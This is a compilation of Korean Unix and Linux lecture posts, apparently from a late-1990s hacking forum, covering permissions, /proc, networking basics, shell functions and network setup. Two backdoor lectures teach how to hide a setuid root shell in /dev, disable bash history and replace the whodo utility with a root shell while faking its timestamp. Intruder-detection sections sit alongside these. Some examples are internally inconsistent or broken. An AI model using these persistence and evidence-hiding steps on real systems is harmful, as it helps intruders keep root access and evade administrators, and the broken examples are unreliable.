믿는다.

그 권한을 바꿈으로써 실행파일이 될수도 있고 다른 권한으로
될수도있다.
즉..
파일은 읽기 파일 쓰기파일 실행 파일로 크게 나눈다.
유/리 에서 ls -al 이라는 명령을 내리면 이렇게 나온다.
-rw-------   1 root     root           40 Feb 12 03:13 nohup.out
-rw-r--r--   1 root     root          995 Jan 16 02:45 okim
-rw-r--r--   1 root     root            0 Feb 28 19:45 outlaw.zip
drwxr-xr-x   2 root     root         1024 Dec 13 22:05 pic/
----------     -------------                           -------------
   (1)             (2)                                      (3)

(2) 번은 (3)번(파일)의 소유가 누구인지 보여주는 것이고
(1) 번은 파일의 권한을 보여준다.
(1)번에 들어갈수 있는 대표적인것은 r(읽기) w(쓰기) x(실행) 이렇게
나눌수 있다.
그리고 (1)번은 크게 3블럭으로 나눌수있다.
drwxr-xr-x
위의 경우를 보자 맨앞 첫칸은 (3)번이 파일인지 디렉토리이름 ㅇㅣㄵ
디렉토리 이름인지 구분하는 거다 D가 붙으면 디렉토리
바로 옆 3칸은 소유하는 주인에 대한 권한설정
옆 3칸은 그룹에 대한 권한 설정
마지막 3칸은 바로 모든 사람을 위한 권한 설정이다.
우리가 중요하게 여길 것은 실행파일은 그 3칸중에 하나라도
x라는 표시가 있으면 실행파일로 인식한다.

-r--------  이런 권한은 바로 소유자만 읽을수 있는 권한
-r--r---- 이런 권한은 소유자와 그룹이 읽을수 있는 권한
-r--r--r-- 이런 권한은 소유자 그룹 모든 사람이 읽을 수 있다.
중요한 파일은 맨위의 소유자만 읽을수 잇게 해놓아야 겠지 않을까?

--w------- 이런 권한은 소유자만 덧붙이거나 오버롸이트 할수있는 권한
--w--w---- 이런 권한은 소유자와 그룹이 쓸수 있다
--w--w--w- 이것은 모든 사용자가 쓸수 있다.

---x------ 소유자만 실행할 수 있다.
---x--x--- 소유자, 그룹이 실행할 수 있다.
---x--x--x 모든 사용자가 실행할 수 잇다.

아주 간단하지 않은가?
x 권한이 바로 실행권한이다.


제  목: top 이라는 프로그램의 용도는?

top 이라는 프로그램은 현재 시스템의 상태를 알려주는 프로그램입니다.
top 이라는 프로그램은 모든 종류의 유닉스에서 컴파일이 가능하고
기능이 뛰어나죠.
보통 리눅스 패키지에는 기본적으로 들어가있습니다.

top 으로 볼수 있는 것들은..
메모리 상태, cpu상태, 몇개의 프로세스가 떠있나..
어떤 데몬이 떠있나, 좀비 프로세스는 몇개가 있나..
메모리 점유율.. cpu 점유율..
몇명의 유저가 접속되어있나..
등등..아주 많은 기능이 있죠.
보통 top 하나만 띄워도 많은 정보를 알 수가 있죠.

제  목: [강좌] /proc 디렉토리에는?

proc 디렉토리를 한번 들어가보세요.
여러가지 정보들이 잔뜩있습니다.
함부로 건드리지 마세요.
하지만 그 정보들중엔 여러가지 시스템 정보가 숨어있답니다.
/proc 디렉토리를 ls 명령으로 보면..
-r--r--r--   1 root     root            0 Mar 24 23:52 cmdline
-r--r--r--   1 root     root            0 Mar 24 23:52 cpuinfo
-r--r--r--   1 root     root            0 Mar 24 23:52 devices
-r--r--r--   1 root     root            0 Mar 24 23:52 dma
-r--r--r--   1 root     root            0 Mar 24 23:52 filesystems
-r--r--r--   1 root     root            0 Mar 24 23:52 interrupts
-r--r--r--   1 root     root            0 Mar 24 23:52 ioports
-r--------   1 root     root     25169920 Mar 24 23:52 kcore
-r--------   1 root     root            0 Mar 23  1996 kmsg
-r--r--r--   1 root     root            0 Mar 24 23:52 ksyms
-r--r--r--   1 root     root            0 Mar 24 23:48 loadavg
-r--r--r--   1 root     root            0 Mar 24 23:52 locks
-r--r--r--   1 root     root            0 Mar 24 23:52 mdstat
-r--r--r--   1 root     root            0 Mar 24 23:13 meminfo
-r--r--r--   1 root     root            0 Mar 24 23:52 misc
-r--r--r--   1 root     root            0 Mar 24 23:40 modules
-r--r--r--   1 root     root            0 Mar 24 23:52 mounts
dr-xr-xr-x   2 root     root            0 Mar 24 23:40 net/
-r--r--r--   1 root     root            0 Mar 24 23:52 pci
-r--r--r--   1 root     root            0 Mar 24 23:52 rtc
dr-xr-xr-x   2 root     root            0 Mar 24 23:52 scsi/
lrwxrwxrwx   1 root     root           64 Mar 24 23:52 self -> 3739/
-r--r--r--   1 root     root            0 Mar 24 23:52 stat
dr-xr-xr-x   5 root     root            0 Mar 24 23:52 sys/
-r--r--r--   1 root     root            0 Mar 24 16:57 uptime
-r--r--r--   1 root     root            0 Mar 24 23:52 version
이런 등등.. 여러가지 파일들이 있어요.
그런데 모두 파일 크기거 거의 0 이죠? 아니면 엄청큰 비정상적인
형태의 파일들로 보이죠.
그런데 그 파일안을 한번 보세요.
cat version
Linux version 2.0.32 (root@porky.redhat.com) (gcc version 2.7.2.3) #1 Wed Nov 19

 00:46:45 EST 1997

[root@loveyou /proc]# more cpuinfo
processor       : 0
cpu             : 586
model           : Pentium 75+
vendor_id       : GenuineIntel
stepping        : 12
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : yes
fpu             : yes
fpu_exception   : yes
cpuid           : yes
wp              : yes
flags           : fpu vme de pse tsc msr mce cx8
bogomips        : 53.04
이렇게 현재 시스템의 상황을 보여준답니다.
/proc 과거에 ftp 상의 버그에 유용하게 쓴적이 있었군요..
/proc 디렉토리의 여기저기를 보면서 현재의 유저들과의
어떤 관계들이 있는지도 한번 보세요.


 제  목: [강좌] xosview 라는 프로그램..

레드햇 을 까신분들은 기본적으로 들어있는 엑스 윈도우용
응용 프로그램이네요.
이것을 한번 실행시켜보세요.
xosview &
그러면 약간 화려한(?) 그래픽이 첨가된 툴이 하나 뜹니다.
아주 이뻐요.
load 율.. cpu 점유율 메모리 점유율 , 스왑 점유율, irq 사용 현황
등..아주 그래픽으로 보기 쉽게 나타나는 툴이 있습니다
현재 시스템의 상태를 아주 쉽게 보여주죠.
사용해보세요.
시스템 관리자라면 띄어볼만합니다.

제  목: [참고] 라우터와 게이트 웨이의 차이점

 Gateway의 역할은 클래스가 다른 네트워크를 연결해 주거나, 프로토콜이

 다른 두 네트워크를 연결해 주는 역할을 합니다.

 보통 IP 클래스가 다른 두 TCP/IP를 연결하는데는 라우터로 충분합니다.

 게이트 웨이는 라우터보다 네트워크 계층을 더 포함하기 때문에 라우터

 보다 더 많은 서비스를 지원합니다.

 예를 들어서 Proxy ARP같은 예를 들면, Proxy ARP는 일종의 게이트웨이

 서비스입니다. 게이트웨이를 사이에 둔 두 네트워크는 동일한 IP가 존재


 할 수 있는데, 이동일한 IP에 대해서 ARP의 오동작을 막기위해서는

 네트워크 레이어의 기능을 가진 ARP 게이트웨이가 존재해야만 합니다.

 라우터만이라면 충돌할겁니다. 일종의 중재서비스이죠..

 DataBase 구축?의 차원에서.. 조금 자세하게 알아보죠..

 < Router >

 흔히들 말하는 네트워크층의 어드레스를 시초로해서 중계 제어를 실현하는

 랜 간 접속장비입니다. 네트워크가 복잡해지면 필요합니다.

  1) 라우터는 주소 테이블을 해당 라우터와 연결되어 있는 다른 라우터들
     간에 분산시켜 정보를 공유합니다.


  2) 각 라우터는 해당 라우터가 담당하는 네트워크 내의 모든 노드의 주소와
     각 Lan에 이르는 최적의 경로상에 있는 다음 hop에 대한 정보, 즉 Lan에
     가장 빨리 전송하기 위해 패킷을 어떤 라우터에 전송할 것인가 하는 것
     을 결정해주는 정보를 가집니다.

  3) 라우터는 전송을 할 때 그 다음 노드의 라우터를 조사하게 됩니다.

     ▶ 각 라우터에 경로 지정을 하는 기능이 있어 패킷의 집중을 예방합니다.
     ▶ 라우터는 전송되는 자표 타입과 그 자료를 송신하고 있는 노드를 알 수
        있으며 이와 같은 정보의 분석을 통해서 전송량을 조절합니다.

  4) Microsoft 95나 NT등이 사용하는 Netbios같은 프로토콜은 LAN을 구분하지
    않기 때문에 라우터의 개념을 사용하지 않습니다. 즉, 라우터 너머의 노드
    들은 Netbios를 통해서는 볼 수 없다.


  ○● 특 징 ●○

    ▶ Network Layer 간의 연결
    ▶ 동일한 Transport Protocol을 사용하는 분리된 network를 연결한다.
    ▶ 경로지정방식은 Routing Table에 따라 Network을 인식하여 경로를 배정
    ▶ 수신된 패킷에 의하여 타 Network또는 자신의 Network내의 노드 결정
    ▶ 여러 경로 중 가장 효율적인 경로를 선택하여 Packet Forwading
    ▶ Load Balancing : 네트워크의 처리 능력을 개선해주는 기능
    ▶ Flow Control
    ▶ Internetwork 내부에서 여러 Subnet 구성이 가능
    ▶ 다양한 Network management 기능 수행

 < Gateway >

 트랜스포트층 이외의 층간의 접속, 또는 전체 층 간의 접속에 사용하는 랜
 간 접속 장비인데, 일반적으로 말하면 어플리케이션 레벨이 될 때까지 전혀


 다른 프로토콜로 동작하는 네트워크 간을 중계하는 접속장치입니다.
 번역기? 통역관? 그정도 생각하면 됩니다. 주로 컴퓨터가 Gateway가 되죠.

 1) 서로 다른 Network Architecture 및 Protocol간을 연결시켜 주는 시스템으로,
    LAN과 LAN 사이의 데이터 중계를 담당하는 통신 서버를 일컫습니다.

 2) 하드웨어와 프로토콜, Nos가 전혀 다른 PC, 대형 기종, 미니급 컴퓨터등이
   네트워크에서 사용되는 서로 다른 프로토콜을 변화시켜 결합시켜줍니다.

  ○● 특 징 ●○

    ▶ Session, Presentation, Application 계층간의 연결을 담당


 제  목: [강좌] 백도어 설치 종류..

백도어..란?
어떤 호스트를 해킹해서 나중을 위해 금방 해킹이 되도록
문을열어두는(?) 것을 말합니다.
즉, 루트를 딴후에 나중에 금방 쉽게 들어와서 루트를
딸수 있도록 하는 것이죠.

가장 쉬운 백도어는 루트쉘 복사 입니다.
관리자가 전혀 볼수 없는 디렉토리에다가 올려놓죠..
보통 /dev 라는 디렉토리나 /usr/man 이라는 디렉토리의 어딘가에
숨겨 놓습니다.
하지만 관리자가 초보가 아닌이상은 들키죠.

루트쉘의 특징을 살펴볼까요?
원래 로긴은 하게되면 로긴 프로그램은 해당 아이디의
권한을 설정해준채로 쉘을 줍니다. 이때 사용자의 권한은
/etc/passwd 파일에 설정되어있습니다.
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:

위에서 숫자 부분이 있죠?
12:100 <- 여기서  12 = UID  100 = GID
이렇게 권한을 설정해서 쉘을 실행시키죠.
그런데 루트쉘은 setuid 라는 설정에 의해서 위의 설정과는 별개로
그 쉘을 실행시키면(ex: bash , csh) 그 쉘을 실행시키는 동안에는
루트가 되는 거죠.
즉..이런 형식입니다.
-rwsr-xr-x   1 root     bin        299649 Nov 18  1996 /bin/bash
위의 형식처럼 rws 인 형태가 루트쉘이죠.
그렇다면 ./bash 를 실행하면 그동안 루트가 되겠죠?
모르겠으면 강좌란을 살펴보세요.
모두 설명했던 부분이에요.
그런 루트쉘을 적당한 이름으로 바꾸고 ttyaabb 등...
이파일을 /dev/ 디렉토리에 가져다 놓습니다.

그후에 루트가 필요할때마다 그 파일을 실행시키면 되죠.
그런데 유닉스&리눅스에서 중요한 것은 bash 를 쓰게 되면
.bash_history 라는 파일이 생깁니다.
.bash_history 파일의 특징은 우선 bash 쉘을 실행시킨후의 모든
명령을 그 파일에 저장시킵니다.
그리고 저장되는 파일의 위치는 쉘을 실행시킨 사람의 uid 를
따릅니다.
euid 가 더 우선권이 있슴..
즉.루트쉘을 실행시키면 루트 디렉토리에 .bash_history파일ㅇ
생기고(원래 존재하면 덧붙여 써짐..) 그 파일에 저장이 되요~
또한 한가지 특징은 사용자가 그 쉘을 끝냈을때 전부 저장이 되죠.
실행중에는 저장이 안됨.
즉.우리가 로그아웃하면 그때 저장이 되요. 웃기죠? 황당하고.
그래서 우리는 루트쉘을 실행시킨후 루트 디렉토리로 가야 합니다.
그후에 .bash_History 라는 디렉토리를 만들어 놓아요.
그러면 파일이 안만들어지겠죠..디렉토리 우선이니까.
또하나의 방법은 .bash_history  파일을 /dev/null 이라는 파일에
링크를 시키는 방법입니다.
즉.. ln -s /dev/null /root/.bash_history 라고 명령을 내리면
.bash_history파일이 /dev/null 파일에 링크가 되요.
그렇게 되면 .bash_hisroty 파일에 덧붙여 쓰기를 하면 /dev/null
즉 널포인터(쓰레기처리장  ^^;)으로 보내지게 되죠.
사라져요..내용이..히히

하지만 더 좋은 방법이 있습니다.
바로.. set  설정..즉 환경 설정을 바꾸면 되죠.
한번 유닉스 상태에서 (리눅스) set 를 쳐보세요.
LS_OPTIONS=--8bit --color=tty -F -b -T 0
MACHTYPE=i386
MAIL=/var/spool/mail/loveyou
MAILCHECK=60
GROUP=users
HISTFILE=/home/loveyou/.bash_history
HISTFILESIZE=500
HISTSIZE=500
HOME=/home/loveyou
........
(이하 생략)
이런 형식으로 나오죠.
여기서 유심히 볼것은 HISTFILE=/home/loveyou/.bash_history 입니다.
이것은 바로 .bash_history  라는 파일의 위치를 가르키는 변수이기
때문이죠.
그럼..이렇게 함으로써 해결이 되겠죠.
export HISTFILE=/dev/null
자.. 이제 초보적인 백도어 설치와 그에대한 안전한 조치를 강좌했습니다.
이번엔 관리자의 입장에서 방지하고 막는 방법을 말하죠.

관리자는 언제나 끊임없이호스트를 살펴야겠죠.
나쁜짓 하는 사람이 있을까하고요..
우선 setuid 걸린 프로그램의 대부분은 퍼미션이 4755 입니다.
보통 퍼미션은 777 퍼미션을 쓰지만
ex) chmod 777 /bin/bash
하지만 앞에 한자리 더 쓰게 되면 특수한 퍼미션을 만들수있죠.
1 은 스틱키 설정 4는 setuid 설정..
ex) chmod 1777 /tmp  <= 일반적인 /tmp디렉토리 설정
    chmod 4755 rootshell <= 바로 루트쉘설정중 한 단계죠.

즉..이것을 이용해서 find 명령으로 찾습니다.
find . -user root -perm 4755 -print 정도의 명령어를 쓰면 됩니다.
4755 퍼미션이 아니면 문제가 생기겠죠?
이때는
ls -alR / |grep rws
ls -alR |grep r-s
ls -alR / | grep r-s (위에꺼 정정)
ls -alR / |grep -- --s 입니다. -- --s 가 정상입
위에서 grep --s 를 왜 grep -- --s 라고 했는지는 스스로
알아내세요.
한번 grep --s 랑 grep -- --s 라고 해보시면 알아요.

이렇게 해서 루트쉘을 찾아낼수가 있겠죠?

백도어 (1) 강좌였습니다.


제  목: [강좌] 기초 백도어 (2)

기초적인 백도어 만들기 (2)

화일..변조 ^^;

보통 루트쉘이 setuid 가 걸려있다는 것에 착안해서..
유닉스에는 많은 유틸리티가 있으며 그중에는 setuid 가 붙은 유틸리티가
있다.
그중에는 또한 거의 쓰지도 않으면서 setuid 가 붙은 프로그램을 공략하는 것이다.

ex)

루트쉘을 만든후 그 것을 위에서 선택한 파일을 하나 지우고 파일명을 같게 한후
복사 시켜놓으면 된다.
여기서 주의 할점이다..
파일을 복사또는 이동시에 날짜가 현재의 날짜로 변한다. 즉, 파일에 대한 날짜
표시가 오늘로 되어있다.
이를 바꿀수 있는 방법이 있다.
바로 touch 라는 프로그램이다.

[ touch 의 간단한 명령 ]

리눅스의 경우


touch -t MMDDhhmmYY  파일명
MM : 월   DD : 일   hh : 시간   mm : 분
YY : 1997이라면 97을 입력시키는 것이다. ( 해도되고 안해도 된다. )
ex) touch -t 01020304 file       ( file 을 1월 2일 3시 4분으로 바꾸었다. )
 touch -t 0102030498 file    ( file 을 1월 2일 3시 4분 98년으로 바꾼다. )

유닉스의 경우

유닉스의 경우는 약간 다르다. (솔라리스의 경우)

touch -t YYMMDDhhmm 이렇게 년수를 먼저 써야 한다.

ex)
> whereis whodo
whodo: /etc/whodo /usr/sbin/whodo /usr/man/man1m/whodo.1m
> ls -al /usr/sbin/whodo
-r-sr-xr-x   1 root     bin        12512 1996년  5월  3일 whodo
> ls -al /tmp/rootshell
-rwsr-xr-x   1 root     root       111 1998년  2월  20일 /tmp/rootshell
> cp -f /tmp/rootshell /usr/sbin/whodo
> ls -al /usr/sbin/whodo
-rwsr-xr-x   1 root     root        111 1998년  2월  20일 whodo
(원래의 whodo 의 그룹은 bin 이다..고치자)
> chown root:bin /usr/sbin/whodo
> ls -al /usr/sbin/whodo
-rwsr-xr-x   1 root     bin        111 1998년  2월  20일 whodo
(이제 날짜를 바꾸어야 한다. 원래의 날짜는 1996년 5월 3일이어야 한다.)
> touch -t 9802201212 /usr/sbin/whodo  <= 여기서 끝의 1212는 임의로한것..)
> ls -al /usr/sbin/whodo
-r-sr-xr-x   1 root     bin        111 1996년  5월  3일 whodo
> /usr/sbin/whodo   (실행을 해보자)
# whoami
root

여기까지이다. 이 과정을 보고도 모르겠다면 각성하고 다시 공부해라.


제  목: [강좌] 역추적 시스템의 개요.

역추적 시스템의 개요.

보통 파이어월로 허락하지 않는 호스트에 대해서 접속을 허용하지 않는다.
만약 111.111.11.11 이라는 곳에 대해서만 접속을 허용한다면
222.222.22.22 인사람은 그 호스트에 못들어간다.
하지만 222.222.22.22 의 호스트 사람이 111.111.11.11 을 거쳐서 들어간다면
접속이 허용된다.
이것을 바로 이행적 신뢰라고 하며, 많은 문제를 가지고 왔었다.
하지만 요즘들어 각광받는 역추적 시스템은  현재 들어오려는 사람의
최초의 근원지 인터넷 주소를 식별하여 이행적 신뢰에 의한 접속을
막는것이다.

또한 역추적 시스템은 해커&크래커를 잡는데 상당한 도움을 준다.
해커가 여러군데의 서버를 거쳐서 와도 역추적으로 인해 최초의 호스트 주소를
밝혀낼 수가 있다.

여기서 나는 이런 것들에 대한 글을 조심스럽게 올릴까 한다.
비트 프로젝트의 월간지 도움을 많이 받았다.

이강좌는 유/리/해가 없어지지 않는 한 지속적으로 천천히 올라갈껏이며
많은 사람들이 이에 동참했으면 좋겠다.
여기까지..


 제  목: [강좌] 크래커&해커 침입 감지해보기.

[root@mud tmp]# zap loveyou
/* loveyou 라는 아이디의 사람이 루트권한을 얻어서 zap을 실행하였다고 가정하자 */

[root@mud tmp]# netstat -a  /* 현재의 네트웍 상황을 보자  */
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:ftp                   *:*                     LISTEN
tcp        0      0 *:telnet                *:*                     LISTEN
tcp        0      0 *:login                 *:*                     LISTEN
tcp        0      0 *:time                  *:*                     LISTEN
tcp        0      0 *:auth                  *:*                     LISTEN
tcp        0      0 *:smtp                  *:*                     LISTEN
tcp        0      0 *:www                   *:*                     LISTEN
tcp        0      0 *:5000                  *:*                     LISTEN
tcp        0      0 *:2008                  *:*                     LISTEN
tcp        0     51 mud.bigtel.co.kr:5000   203.234.246.225:61253   ESTABLISHED
tcp        0      0 mud.bigtel.co.kr:ftp    loveyou.intercast:16988 ESTABLISHED
tcp        0      0 mud.bigtel.co.kr:telnet loveyou.intercast:17045 ESTABLISHED
tcp        0  19872 mud.bigtel.co.:ftp-data loveyou.intercast:17114 ESTABLISHED
tcp        0      0 mud.bigtel.co.kr:5000   210.123.207.59:4266     ESTABLISHED
tcp        0      0 mud.bigtel.co.kr:5000   210.123.207.59:4272     ESTABLISHED
tcp        0      0 mud.bigtel.co.kr:5000   210.123.207.59:4275     ESTABLISHED
tcp        0    132 mud.bigtel.co.kr:telnet 203.247.36.108:1029     ESTABLISHED
udp        0      0 *:720                   *:*
udp        0      0 *:syslog                *:*
udp        0      0 *:talk                  *:*
udp        0      0 *:ntalk                 *:*
udp        0      0 *:time                  *:*
raw        0      0 *:1                     *:*
(.. 이하 생략 )
/* 위에서 보면 telnet 접속은 2군데이며 ftp 접속은 한군대 이다.
   또한 5000 이라고 되어있는 것은 머드 포트를 나타낸것으로 4명이 머드를 사용한다
. */

[root@mud tmp]# who
root     tty1     Jan 11 16:45
loveyou  ttyp0    Jan 12 00:25 (loveyou.intercas)
/* netstat -a 로 네트웍을 보았을때는 분명히 2명의 텔넷 접속이 있었다. 하지만
   who를 쳤을때 텔넷 접속은 loveyou (ttyp0 포트)가 한명밖에 접속이 안되어있다.
   무언가 이상하지 않은가? */

[root@mud tmp]# w
  3:44am  up 11:06,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@  IDLE   JCPU   PCPU  WHAT
root     tty1                       4:45pm 10:58m  4.59s  0.06s  -bash
loveyou  ttyp0    loveyou.intercas 12:25am  3:17m  0.23s  0.05s  -bash
/* w 를 쳐도 텔넷 접속한 사람은 한명이다. */

[root@mud tmp]# ps -aux |more
USER       PID  %CPU %MEM   SIZE   RSS  TTY STAT  START   TIME
COMMAND
loveyou   1669  0.0  1.2  1048   764  ?  S   20:44   0:05 ftpd: loveyou.interca
loveyou   2431  0.0  1.3  1184   860  p0 S   00:25   0:00 /bin/login -h loveyou
loveyou   2432  0.0  1.1  1248   708  p0 S   00:25   0:00 -bash
loveyou   3224  0.0  1.3  1184   860  p1 S   03:28   0:00 /bin/login -h 203.247
loveyou   3225  0.0  1.1  1252   716  p1 S   03:28   0:00 -bash
loveyou   3278  0.0  1.0  1248   692  p1 S   03:39   0:00 sh
nobody     206  0.0  1.0  1168   652  ?  S   16:38   0:00 httpd
nobody     207  0.0  1.0  1188   648  ?  S   16:38   0:00 httpd
nobody     208  0.0  0.8  1168   560  ?  S   16:38   0:00 httpd
nobody     209  0.0  0.8  1168   544  ?  S   16:38   0:00 httpd
nobody     210  0.0  1.0  1180   668  ?  S   16:38   0:00 httpd
nobody     314  0.0  0.9  1168   596  ?  S   16:52   0:00 httpd
root         1  0.0  0.4   880   308  ?  S   16:38   0:02 init [3]
root         2  0.0  0.0     0     0  ?  SW  16:38   0:00 (kflushd)
root         3  0.0  0.0     0     0  ?  SW< 16:38   0:00 (kswapd)
root        19  0.0  0.4   868   292  ?  S   16:38   0:00 /sbin/kerneld
root       121  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)
root       122  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)
root       123  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)
root       124  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)
root       135  0.0  0.5   904   360  ?  S   16:38   0:00 syslogd
(.. 이하생략)
/* 위에서 보면
[root@mud tmp]# ps -aux |more
USER       PID  %CPU %MEM   SIZE   RSS  TTY STAT  START   TIME
COMMAND
loveyou   1669  0.0  1.2  1048   764  ?  S   20:44   0:05 ftpd: loveyou.interca
loveyou   2431  0.0  1.3  1184   860  p0 S   00:25   0:00 /bin/login -h loveyou
loveyou   2432  0.0  1.1  1248   708  p0 S   00:25   0:00 -bash
loveyou   3224  0.0  1.3  1184   860  p1 S   03:28   0:00 /bin/login -h 203.247
loveyou   3225  0.0  1.1  1252   716  p1 S   03:28   0:00 -bash
loveyou   3278  0.0  1.0  1248   692  p1 S   03:39   0:00 sh
  이런 내용이 있다. 즉, loveyou 라는 아이디는 login이 두번되어있다.
  하지만 w,who에는 나타나지 않았다. 이번에는 포트가 loveyou에게로 2개 이상이 열
려있는지
  보자. */

[root@mud /dev]# ls -al |grep ttyp |more
crw--w----   1 loveyou  tty        3,   0 Jan 12 03:24 ttyp0  <- loveyou
crw--w----   1 loveyou  tty        3,   1 Jan 12 03:47 ttyp1  <- loveyou
crw-------   1 root     root       3,   2 Jan 11 20:44 ttyp2
crw-------   1 root     root       3,   3 Jan  2 07:26 ttyp3
crw--w----   1 loveyou  tty        3,   4 Mar 19  1998 ttyp4  <- loveyou
crw--w----   1 lic2     tty        3,   5 Mar 20  1998 ttyp5
crw-------   1 root     root       3,   6 Mar 20  1998 ttyp6
crw--w----   1 sooki    tty        3,   7 Mar 19  1998 ttyp7
crw-------   1 root     root       3,   8 Mar 19  1998 ttyp8
crw-------   1 root     root       3,   9 Mar 14  1998 ttyp9
crw-------   1 root     root       3,  10 Mar 14  1998 ttypa
crw-------   1 root     root       3,  11 Mar  7  1998 ttypb
crw-------   1 root     root       3,  12 Mar  7  1998 ttypc
crw-------   1 root     root       3,  13 Mar  9  1998 ttypd
crw-------   1 root     root       3,  14 Mar  9  1998 ttype
crw-------   1 root     root       3,  15 Mar  9  1998 ttypf
/* 위에서 보면 loveyou 에게 포트가 무려 3개나 열려있다. loveyou라는 아이디는
   zap이라는 흔적 지우개로 자신을 감춘것이다. 이는 루트권한을 회득했다는 것과
   같다. 그런데 3개나 있다. w,who에는 1개이지만 두개모두 zap을 이용해서 감춘
   것일까? 이번에는 ftp사용자를 알아보자. */

[root@mud /dev]# ftpwho
Service class all:
 3334  ?  S    0:00 ftpd: 203.255.23.96: kain: IDLE
 1669  ?  S    0:05 ftpd: loveyou.intercast.co.kr: loveyou: RETR hwpx-font-4.0be

ta-2.noarch.rpm
   -   2 users ( -1 maximum)
/* 여기서 보자 ftpwho라는 것은 ftp상에 들어온 사람의 리스트를 보여주는 것이다.
   위에서 보면 1669 프로세스는 loveyou라는 아이디의 사람이 loveyou.intercast.co.
kr에서
   들어와서 파일을 받고(RETR)  있다는 것을 보여준다. */

자 이제 알겠는가? loveyou라는 아이디는 이미 루트를 획득하였고 zap이라는 흔적 지
우게로
who,w에 나타나지 않게 해놓았다. 하지만 ps나 netstat -a 에는 검색되었다.
일반적으로 이런 방법으로 침입자를 감시하는 것이다.


 



제  목: [강좌] /etc/services 파일

/etc/services 파일은 호스트에서 사용가능한 서비스의 리스트를
제공한다.

대충 그 형식을 보면..

tcpmux          1/tcp           # TCP port service multiplexer
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/udp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/udp
netstat         15/tcp
qotd            17/tcp          quote
ftp             21/tcp
# 22 - unassigned
telnet          23/tcp
# 24 - private
smtp            25/tcp          mail
# 26 - unassigned
time            37/tcp          timserver
time            37/udp          timserver

-------         ------          ----------
   1              2                   3

1번 공식 서비스 명입니다.
2번은  포트 번호
       / 프로토콜 이름
3번 별칭 입니다.

여기서 중요한 것은 1번 2번 이죠..
보통 각 유닉스에는 포트라는 것이 존재합니다.
우리가 일반적으로 telnet 접속으로 하이텔이나 나우를 들어갈때
telnet home.hitel.co.kr 이라고 하죠?
하지만 이것을 좀더 자세히 보면 23번 포트로 들어가는 것입니다.
단지 그것이 디폴트 설정이 되어있기 때문이죠.

telnet home.hitel.co.kr 23 이라고 하면 telnet home.hitel.co.kr 이랑 같은
역활을 하는 거죠.
이것의 정의는 위에 보다 시피.
telnet          23/tcp
이것으로 정의가 되어있죠?
이번에 ftp 로 어떤 서버로 들어갈때 디폴트 설정은 21번 포트 입니다.
ftp mud.bigtel.co.kr 와  ftp mud.bigtel.co.kr 21 과는 같은
역활입니다.
이것은
ftp             21/tcp
이렇게 정의 되어있습니다.

상당히 재미있죠?
우선은 여기까지..
/etc/services 는 건드리지 않는 것이 좋습니다.
바꿀 필요가 거의 없거든요.
해킹할때 빼고요.
나중에 고급 강좌에서 강의하겠지만 /etc/services 파일과
/etc/inetd.conf 파일을 건드려서 데몬을 제어하는 방법이 있습니다.
이것을 이용하여 백도어를 만들 수가 있습니다.

여기까지..


 제  목: [강좌] 중급 쉘 프로그램 (1) 함수편

[ 중급 쉘 프로그래밍 (1) ]

쉘 프로그래밍이라고 함수가 없을쏘냐..

있다..

아주 간단한 초 특급 함수를 만들 수 있다.

mail() {

}

위의 경우가 함수이다.
위의 함수를 호출할때는 mail 이라고만 하면 호출된다.
변수는 전역 변수처럼 모든 곳에서 쓰인다.
함수안에서만 지역 변수로 쓰인다.

ex )
$cat > a
#!/bin/sh
echo " 테스트용 프로그램입니다."
bbs() {
echo -n "시작 하겠습니까? (Y/n)"
read RE
if [ "$RE" = "n" ]
    then exit
fi
echo "계속 합니다."
}

bbs
^D
$ ./a
테스트용 프로그램입니다.
시작 하겠습니까? (Y/n)
y
계속 합니다.

이런 식의 함수 사용입니다.
상당히 쉽죠?

이것을 제대로 하면 좀더 효율적인 프로그램을 짤 수가 있습니다.

그러면 아이디와 패스워드를 맞추는 프로그램을 간단히 함수를 이용해서 만들어
봅시다.

$ cat > a
#!/bin/sh
echo "이것은 인증 프로그램입니다."
id() {
echo -n "당신의 아이디 : "
read id
if [ "$id" = "loveyou" ]
    then  passwd
fi
echo " 없는 아이디 입니다. "
}
passwd() {
echo -n "당신의 암  호 : "
read pass
if [ "$pass" = "lovelove" ]
    then echo "딩동댕~ 축하~ "
    exit
fi
echo "패스워드가 틀렸습니다."
exit
}
bbs

^D
$ ./a
이것은 인증 프로그램입니다.
당신의 아이디 : loveyoufsd^?^?^?^?^?
 없는 아이디 입니다.
$ ./a
이것은 인증 프로그램입니다.
당신의 아이디 : loveyou
당신의 암  호 : love
패스워드가 틀렸습니다.
$ ./a
이것은 인증 프로그램입니다.
당신의 아이디 : loveyou
당신의 암  호 : lovelove
딩동댕~ 축하~

이렇게 되죠.
신기하나요?

조금더 신기하게 하려면
암호를 넣기 전에 이런 문장을 넣어보세요

stty -echo
그리고 나서 암호를 다 받은 후에
stty echo
이렇게 하면 되요.

위에서 -echo 는 타이핑하는 것이 안보이게 하는 거고
echo 는 타이핑한 것이 보이도록 하는 설정이에요.

ex)
stty -echo
echo -n "당신의 암  호 : "
read pass
stty echo


제  목: [강좌] 네트웍 설정하기

우선 레드햇 리눅스에서의 설정을 보자..

아주 쉽다.
우선 랜카드를 잘 잡아주어야 한다.
랜카드를 잘 잡으려면 커널 컴파일을 다시 해야 한다.
커널 컴파일시 네트웍카드에서 잘 선택을 했다고 가정하고
네트웍 설정을 한다.
만약 ne2000 호환 랜카드가 있다면 인식하는 것은 커널 컴파일
없이 간단하게 인식시킬수 있다. 즉 초창기 설정된 상태에서 말이다.
이런 명령이면 된다.
modprobe ne irq=랜카드 irq 번호 io=자신의 io 번호
ex) 나의 랜카드 설정시..
modprove ne irq=11 io=0x340
이다..

이렇게 해서 랜카드를 인식 시켰다.

그 후에 네트웍 설정을 해야 한다.
우선..
/etc/HOSTNAME 이라는 파일안에 자신의 도메인을 넣는다.
그 다음에 /etc/hosts 라는 파일에
127.0.0.1               localhost localhost.localdomain
xxx.xxx.xxx.xxx         이름.도메인.    이름

